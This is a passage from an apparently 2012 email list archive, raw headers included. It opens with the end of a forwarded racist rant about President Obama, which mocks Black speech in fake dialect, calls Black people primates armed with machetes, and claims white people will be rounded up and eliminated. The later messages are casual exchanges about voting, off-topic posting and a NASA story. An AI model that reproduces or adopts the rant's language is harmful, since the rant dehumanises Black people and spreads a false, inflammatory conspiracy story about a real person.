tu meynee uv dem whyteez, an'a weez'a an'a gonn'a > NEVUH bee free if'n deyz eez ahloud too eggzist. > > Now, if that isn't confusing enough..... prior to the > 2008 run for the Presidency, it was declared by the Att. Gen. that BO > shuudint eehven halv ben on duh baleout, butt iht woodint uh matturd eneewey cuz BO > wuhz vay popalure amung hiz clan memburzs. And so now, while this Country > has it's First Black President... go figure (but whuteh yuu duu, donh led'em > heeh dat) > > Now, all you White, Caucasion, Anglo Saxon, and/or, for that matter, > anyone either resembling or behaving like one... you (according to poorly > mistreated BO, who has long since been burdened by his race) will have to be > slowly but surely, or as needed be shoved aside and/or altogether done away > with. Now please don't worry about it, as I am quite sure that you'll be > rounded-up as and/or be eliminated as (in) humanely as possible. > > > Let me put it this way.... All demo-racist-rats > who have unwittingly participated in the biggest "scheme" of all time by > allowing yourself to be played, worked, brainwashed, or indoctrinated, to the > point that you actually commend, or even Praise the likes of BO... He Is "NOT" > A Democrat, and has "NO" intention At All of seeing Democracy work for > anyone other than HIM and his immediate clan members. > > If he is allowed to continue, he'll see to it that all you whities who own or > use guns to protect yourselves from those that have a 'right' to invade, > eliminate, and/or wish to take whatever you own,,, especially all the > religious people who read, follow, and/or worship according to the bible, and/or > don't think much of BO..... your God's wrath is unfair to Primates, and their > desire to live life in the wild. > And so, BO > will be forced to instill rage into his private army of primates and > instruct them to grab their clubs & machetes, to take to the streets and attack > you, wherever you are. You & your evil demockeracy ways, and your > establishment that allows for liberty & justice for all, will fall. > > > And now, some final words from BO..... " I want to thank > you from the bottom of your pockets & bank accounts, to everything you > might currently own, or will in the future (if you had one), for all your > continued support. I assure you you will not be forgotten, should I be successful > at fooling all of you, as I have done so well in the past. If I am > Re-empowered to become your Ruling Dictator, I promise to continue in my effort to > Control Everyone & Everything,,, which is all the better for you!. > > Oh, and one more thing!... I want to thank you for > your generous donations in the on-going effort to free primates from Zoos, so, > they have an opportunity to treat you the way you've treated them,,, er, > uh,,,, I mean, so we can all be equal! Thank you! > From vortexb-l-request@eskimo.com Tue Nov 6 15:48:10 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qA6Nm9Yf018077; Tue, 6 Nov 2012 15:48:09 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qA6Nm7TA018068; Tue, 6 Nov 2012 15:48:07 -0800 Resent-Date: Tue, 6 Nov 2012 15:48:07 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=Zp9YqW/8zDcwk+VN6L3QvIWepI+yKe0R7MXTvH+jhew=; b=rNdWfwD2qu1qTH7k5T1puzLPHPUquwr+jwpkWcOkj/d9WVSNKaWTNIwxp/eIPUf4gO Re42IvVaFtjVeDwMMUeVjgUtAm4SVcDUe2W3LeGVh/+nXmtYKRSXI2CoUq6d3dRSFvAv dit1xLU6pzv4a+EZ4Fq1WmGz/AgmLtDTGw67pQhYzc1xKmoF1ZPi0y72bVRC+AzRzPJ3 Pdi/RCBMrvm22EyQhD9orPdRWun5ye7tHRe7yBzmuy5sikwvsUcPQXwVkgFL4T+F8WCm x3g7nTj0QxyJOx4u9CcOTjjpnpQIErmGli8UvvQQEyfVrd2x8ZlFi6QWUOFGvI8Gb5T4 N/yA== MIME-Version: 1.0 In-Reply-To: <50999EF9.4070604@resist.ca> References: <50999EF9.4070604@resist.ca> Date: Tue, 6 Nov 2012 18:48:07 -0500 Message-ID: Subject: Re: [VoB]:Re: Whence Willard? (fwd) From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=047d7b603d76d5b11504cddc3b0b Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4575 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 816 --047d7b603d76d5b11504cddc3b0b Content-Type: text/plain; charset=ISO-8859-1 On Tue, Nov 6, 2012 at 6:36 PM, grok wrote: > > > You're inflicting this on us because we've been BAD, right..? > ;D > > -- grok. Hi! Did you vote today? --047d7b603d76d5b11504cddc3b0b Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable


On Tue, N= ov 6, 2012 at 6:36 PM, grok <grok@resist.ca> wrote:


You're inflicting this on us because we've been BAD, right..?
;D

-- grok.
Hi!

Did yo= u vote today?=A0
--047d7b603d76d5b11504cddc3b0b-- From vortexb-l-request@eskimo.com Tue Nov 6 16:04:44 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qA704hY6021018; Tue, 6 Nov 2012 16:04:43 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qA704fiN020997; Tue, 6 Nov 2012 16:04:41 -0800 Resent-Date: Tue, 6 Nov 2012 16:04:41 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <5099A592.7000903@resist.ca> Date: Tue, 06 Nov 2012 19:04:34 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: Whence Willard? (fwd) References: <50999EF9.4070604@resist.ca> In-Reply-To: Content-Type: multipart/alternative; boundary="------------000106070900060107000506" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4576 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 817 This is a multi-part message in MIME format. --------------000106070900060107000506 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/11/06 18:48, Terry Blanton wrote: > > > > On Tue, Nov 6, 2012 at 6:36 PM, grok > wrote: > > > > You're inflicting this on us because we've been BAD, right..? > ;D > > -- grok. > > Hi! > > Did you vote today? Even if I were a USAmeriKKKan, I'd boycott these obscene class-coercive bourgeois farces. As do many people, in fact. And in a more organized manner now. -- grok. --------------000106070900060107000506 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
On 12/11/06 18:48, Terry Blanton wrote:



On Tue, Nov 6, 2012 at 6:36 PM, grok <grok@resist.ca> wrote:


You're inflicting this on us because we've been BAD, right..?
;D

-- grok.
Hi!

Did you vote today? 
Even if I were a USAmeriKKKan, I'd boycott these obscene class-coercive bourgeois farces. As do many people, in fact. And in a more organized manner now.

-- grok.
--------------000106070900060107000506-- From vortexb-l-request@eskimo.com Tue Nov 6 16:12:34 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qA70CWh4022514; Tue, 6 Nov 2012 16:12:32 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qA70CWM0022510; Tue, 6 Nov 2012 16:12:32 -0800 Resent-Date: Tue, 6 Nov 2012 16:12:32 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=0EhQEcDFlz/s0nk8dPitNx4MLkEQVRcJDwkRxjHdcDs=; b=d6VHJD2kgAVP986U+VwjmPI02fhL9EtIdDvK9SU9Xj58MmyXNw8GJm6SL1uJogVKOB WwdsICbwgcPYxtOq/JvKeFGGfomYn83Y4Q5tpoCSYJZf9NNvq5b5m6f/+5hNKwzBh1XH AX0vAknsTdEwx9HaZKIkB/J3Y6p8SxNXJQ/8zy40XLdu1zJD6kJzF5hljSlmCXb+3RDZ wdFt4T4fD7Ad+e2kbUH4iPLlzJ7RILYymmbgex7F/0vro/RPhvSLYUz3lJEoz04Hr+nM G/btYX47JcyAiPoKcxJx3hwvwmkNtEsPY8WQEqK9js592BdrnHTo7B9Bd8Ew74XnSotG JFow== MIME-Version: 1.0 In-Reply-To: <5099A592.7000903@resist.ca> References: <50999EF9.4070604@resist.ca> <5099A592.7000903@resist.ca> Date: Tue, 6 Nov 2012 19:12:31 -0500 Message-ID: Subject: Re: [VoB]:Re: Whence Willard? (fwd) From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=047d7b670727202fde04cddc934c Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4577 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 818 --047d7b670727202fde04cddc934c Content-Type: text/plain; charset=ISO-8859-1 > Even if I were a USAmeriKKKan, I'd boycott these obscene class-coercive > bourgeois farces. As do many people, in fact. And in a more organized > manner now. > > So, you are Canadian? --047d7b670727202fde04cddc934c Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Even if I were a USAmeriKKKan, I'd boycott these obscene class-coercive bourgeois farces. As do many people, in fact. And in a more organized manner now.

So, you are Canadian?=A0

--047d7b670727202fde04cddc934c-- From vortexb-l-request@eskimo.com Tue Nov 6 16:15:56 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qA70FtFH024733; Tue, 6 Nov 2012 16:15:55 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qA70Ftm0024726; Tue, 6 Nov 2012 16:15:55 -0800 Resent-Date: Tue, 6 Nov 2012 16:15:55 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <5099A835.5080405@resist.ca> Date: Tue, 06 Nov 2012 19:15:49 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: Whence Willard? (fwd) References: <50999EF9.4070604@resist.ca> <5099A592.7000903@resist.ca> In-Reply-To: Content-Type: multipart/alternative; boundary="------------000604010608040106060109" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4578 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 819 This is a multi-part message in MIME format. --------------000604010608040106060109 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 12/11/06 19:12, Terry Blanton wrote: > > Even if I were a USAmeriKKKan, I'd boycott these obscene > class-coercive bourgeois farces. As do many people, in fact. And > in a more organized manner now. > > So, you are Canadian? > Possibly. :D -- grok. --------------000604010608040106060109 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
On 12/11/06 19:12, Terry Blanton wrote:

Even if I were a USAmeriKKKan, I'd boycott these obscene class-coercive bourgeois farces. As do many people, in fact. And in a more organized manner now.

So, you are Canadian? 


Possibly.
:D

-- grok.


--------------000604010608040106060109-- From vortexb-l-request@eskimo.com Wed Nov 7 10:10:50 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qA7IAnFC005726; Wed, 7 Nov 2012 10:10:49 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qA7IAmtp005715; Wed, 7 Nov 2012 10:10:48 -0800 Resent-Date: Wed, 7 Nov 2012 10:10:48 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: Date: Wed, 7 Nov 2012 13:10:43 -0500 (EST) Subject: Re: [VoB]:Re: Whence Willard? (fwd) To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1352311843; bh=YzG0bS7opNmcfUP4x1uE8iNSHpOJdt3PZ09V4FBxndw=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=wgpQVjqi0lToHeeTgR/Ud/ZtAZWgKpAi1xeZenHqrzfOi3sXgEqPJCFp++s+0BHny NaqprCffy0PErv3zcj0GPci8wZfDCNWmNRtCkhdCRYDFBIggP2icp+a6M6xuF7cKTs O+mjNiYJLZd2zD0//XCal6lRQ8LYvdZtrkeWhAnA= X-AOL-SCOLL-SCORE: 0:2:409068992:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d3389509aa423574e Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4579 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 820 To Bill Eskimo ; I am wondering if you'd accept my apology for diluting & interrupting the LENR Discussions Forum with all my latest OT comments. I know I should have made them at the [VoB], and I don't have any real excuse other than my computer is outdated, and/or my skills are severely lacking, so I have a lot of difficulty performing relatively simple functions, within say, the average lifespan of a human being. Admittedly so, I am quite inexperienced and/or w/o any technical training in any field of study of science perse' and/or have only basic knoweldge of some. Nevertheless I have been trying lately to (at least) gain some insight or understanding in the effort to develope a safe reliable alternative means of generating energy. So anyway, I thought I'd ask you if you would consider "unblocking" me from joining in on the LENR Discussion?. I promise in the future, that any comment I make will be of "relevancy". For now however, I plan only to read, and not make any comment or posit... If you don't or can't agree to my request, I understand. Thank you Loren From vortexb-l-request@eskimo.com Wed Nov 7 12:46:34 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qA7KkXlU020272; Wed, 7 Nov 2012 12:46:33 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qA7KkUir020248; Wed, 7 Nov 2012 12:46:30 -0800 Resent-Date: Wed, 7 Nov 2012 12:46:30 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <509AC89B.5060708@resist.ca> Date: Wed, 07 Nov 2012 15:46:19 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: Whence Willard? (fwd) References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4580 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 821 On 12/11/07 13:10, LORENHEYER@aol.com wrote: > To Bill Eskimo ; I am wondering if you'd accept my apology for diluting & > interrupting the LENR Discussions Forum with all my latest OT comments. I > know I should have made them at the [VoB], and I don't have any real excuse > other than my computer is outdated, and/or my skills are severely lacking, so I > have a lot of difficulty performing relatively simple functions, within > say, the average lifespan of a human being. > > Admittedly so, I am quite inexperienced and/or w/o any technical training in any > field of study of science perse' and/or have only basic knoweldge of some. > Nevertheless I have been trying lately to (at least) gain some insight or > understanding in the effort to develope a safe reliable alternative means of > generating energy. > > So anyway, I thought I'd ask you if you would consider "unblocking" me from > joining in on the LENR Discussion?. I promise in the future, that any > comment I make will be of "relevancy". For now however, I plan only to read, and > not make any comment or posit... If you don't or can't agree to my request, > I understand. Thank you Loren Very reasonable. I, OTOH, don't feel the need to compromise. I'm content to remain on the LENR sidelines. ;D -- grok. From vortexb-l-request@eskimo.com Wed Nov 7 13:00:42 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qA7L0ee5024075; Wed, 7 Nov 2012 13:00:40 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qA7L0dUx024065; Wed, 7 Nov 2012 13:00:39 -0800 Resent-Date: Wed, 7 Nov 2012 13:00:39 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqgEAG6Zu0/O+Ihr/2dsb2JhbABEogGTGIIVAQEBAQIBAQEBN0QLCAMYLlcFFIgAAwYFugmKGoMMgx4DiEKMWI9xgwc X-IronPort-AV: E=Sophos;i="4.75,637,1330923600"; d="scan'208";a="206694804" Date: Wed, 7 Nov 2012 16:00:32 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: Whence Willard? (fwd) Message-Id: <20121107160032.41530e1af2d4ae4d2953c734@antichef.com> In-Reply-To: <509AC89B.5060708@resist.ca> References: <509AC89B.5060708@resist.ca> X-Mailer: Sylpheed 3.2.0beta5 (GTK+ 2.24.10; x86_64-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4581 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 822 > On 12/11/07 13:10, LORENHEYER@aol.com wrote: > > To Bill Eskimo ; I am wondering if you'd accept my apology for diluting & > > interrupting the LENR Discussions Forum with all my latest OT comments. Why apologize? Nobody else does, but they cram the vortex-l group with political and religious discussions. I am surprised they haven't been kicked off the list, at least for a while, or exiled to vortexb-l. Maybe you were politically incorrect and that got you exiled. From vortexb-l-request@eskimo.com Thu Nov 8 08:16:54 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qA8GGqfS030630; Thu, 8 Nov 2012 08:16:53 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qA8GGowk030619; Thu, 8 Nov 2012 08:16:50 -0800 Resent-Date: Thu, 8 Nov 2012 08:16:50 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <13077.1d5e9d34.3dcd34f3@aol.com> Date: Thu, 8 Nov 2012 11:16:51 -0500 (EST) Subject: Re: [VoB]:Math To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1352391411; bh=pbv2C+gjAAzRhD7Gv3a6kUxSeJUzPJfygPKDKBNy5QE=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=Q+hKjxGBqMHiw7anK9Jw98mTT4w36eIbRW2H5xPtccJHgnW9I28Ff4ydH2EYFYOH1 0DmywRB07XT0Nh2jiTcFhIXO0mp/lscZj/+42QgJeUW4aN1KI+onr4qdbCy6r0UExB 6DFzuvNy4zAtntVGiqpbqWCzqcSwypZI6v/4pEsY= X-AOL-SCOLL-SCORE: 0:2:437287296:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d290a509bdaf30787 Resent-Message-ID: <5gAEyC.A.ReH.yr9mQB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4582 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 823 Sure, that's a good idea!... but just remember that math labs can be dangerous. I for one am no mathmatician, but I wonder what would happen if your calculations were just slightly off... << Could vortexb-l be used for math? David >> From vortexb-l-request@eskimo.com Thu Nov 8 19:46:38 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qA93kb6r012830; Thu, 8 Nov 2012 19:46:37 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qA93kWeS012815; Thu, 8 Nov 2012 19:46:32 -0800 Resent-Date: Thu, 8 Nov 2012 19:46:32 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <509C7C8D.2070207@resist.ca> Date: Thu, 08 Nov 2012 22:46:21 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: Whence Willard? (fwd) References: <509AC89B.5060708@resist.ca> <20121107160032.41530e1af2d4ae4d2953c734@antichef.com> In-Reply-To: <20121107160032.41530e1af2d4ae4d2953c734@antichef.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4583 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 824 On 12/11/07 16:00, Vorl Bek wrote: >> On 12/11/07 13:10, LORENHEYER@aol.com wrote: >>> To Bill Eskimo ; I am wondering if you'd accept my apology for diluting & >>> interrupting the LENR Discussions Forum with all my latest OT comments. > Why apologize? Nobody else does, but they cram the vortex-l group > with political and religious discussions. > > I am surprised they haven't been kicked off the list, at least for > a while, or exiled to vortexb-l. Maybe you were politically > incorrect and that got you exiled. Oh yeah -- there is a very pro-bourgeois bias with these people, whatever they squabble about amongst themselves. -- grok. From vortexb-l-request@eskimo.com Fri Nov 9 13:06:58 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qA9L6vFi015621; Fri, 9 Nov 2012 13:06:57 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qA9L6tvN015611; Fri, 9 Nov 2012 13:06:55 -0800 Resent-Date: Fri, 9 Nov 2012 13:06:55 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <3a32d.253457.3dceca6f@aol.com> Date: Fri, 9 Nov 2012 16:06:56 -0500 (EST) Subject: Re: [VoB]:Re: Whence Willard? (fwd) To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1352495216; bh=4YQIcQehcRYmZY+tv7GP38llNT25bAykdWoWJ9sR00Q=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=TqpjhnrCJ2x48fCxr5W6Yak70P+JiBOYss0DbipR/kIc2w6PAAzUns0p7SfmHkchn Y/egQwG3Q9C9alwL8STfc91FTuW226M8rSygd7Zu6Gh/afPY4mu7MVzT130LtSkvrA cA+6Es51crQMYiPKF1lMKb/wtbB+40qsL9zNem3k= X-AOL-SCOLL-SCORE: 0:2:369418624:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d3389509d707049a7 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4584 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 825 Vortexb-I is dominated by a social order of middle class people that squabble among themselves about whatever.... because, they feel they have all the time in the world? Well, one thing we all know is IF you don't at least try to stay On Topic, things tend rather quickly to get out of hand (yes, I see now). One thing of course, that needs to be done, as trying as it may be, is to encourage, inspire, entice, motivate, and even threaten the Humanosaurs into persuing a more worthwhile effort or cause, so real actual significant progress can be made. And so, if Humanosaurs at least had some remote vague idea about the Future, of which has long since rendered them all but nonexistent (substitute term for extinct, which tends to be associated with obliteration, annihilation, etc., etc.. ), then they might just plan-accordingly, and do something about it, in the here & now! << Oh yeah -- there is a very pro-bourgeois bias with these people, whatever they squabble about amongst themselves. -- grok. >> From vortexb-l-request@eskimo.com Fri Nov 9 13:17:17 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qA9LHGJY017802; Fri, 9 Nov 2012 13:17:16 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qA9LHFgH017795; Fri, 9 Nov 2012 13:17:15 -0800 Resent-Date: Fri, 9 Nov 2012 13:17:15 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <3a7a3.72f85e4d.3dceccdc@aol.com> Date: Fri, 9 Nov 2012 16:17:16 -0500 (EST) Subject: Re: [VoB]:Re: Whence Willard? (fwd) To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1352495836; bh=4XVcv0BJMZqoeAHTES1+sIjL4wZ6iQkHpIeK9OHo0LA=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=qt60OJ57ovzultGZJQftbbviy2KfZ50Toxl5+QFljHZ2GyWCF9Z6Ak06e11qHjl8j 1s+i1r/K30cjFhAnEshLh5Xft2hnixE+SzO1dNuIFK6AOcDhA/hdvLqs1TjGYEQqZ/ 5HiyOhBIX11PKerfVvu4QtGLJaLVnNlJo1ojRpVk= X-AOL-SCOLL-SCORE: 0:2:429347168:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d290d509d72dc331f Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4585 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 826 This just in : >> NASA Science News for Nov. 9, 2012 NASA has found a cure for a common phobia--the fear of asking "stupid" questions. The remedy, revealed in today's story from Science@NASA, might surprise you. FULL STORY: http://science.nasa.gov/science-news/science-at-nasa/2012/09nov_camilla/ >> So.... I have a question for the Experts at NASA, Who Are Outstanding In A "Highly Sophisticated Advanced Civilizations Energy Field.... How come they claim to know so much about "that", which they actually know alot of nothing about? Tee Hee From vortexb-l-request@eskimo.com Sat Nov 10 11:20:09 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAAJK7KN013368; Sat, 10 Nov 2012 11:20:07 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAAJK2ck013351; Sat, 10 Nov 2012 11:20:02 -0800 Resent-Date: Sat, 10 Nov 2012 11:20:02 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <1a36.2d1fffda.3dd002d2@aol.com> Date: Sat, 10 Nov 2012 14:19:46 -0500 (EST) Subject: Re: [VoB]:Re: Whence Willard? (fwd) To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1352575186; bh=qiMs05SZ5ljCtRTf4Q/8LElqHNKy3NQPr8T3kGIuWuU=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; 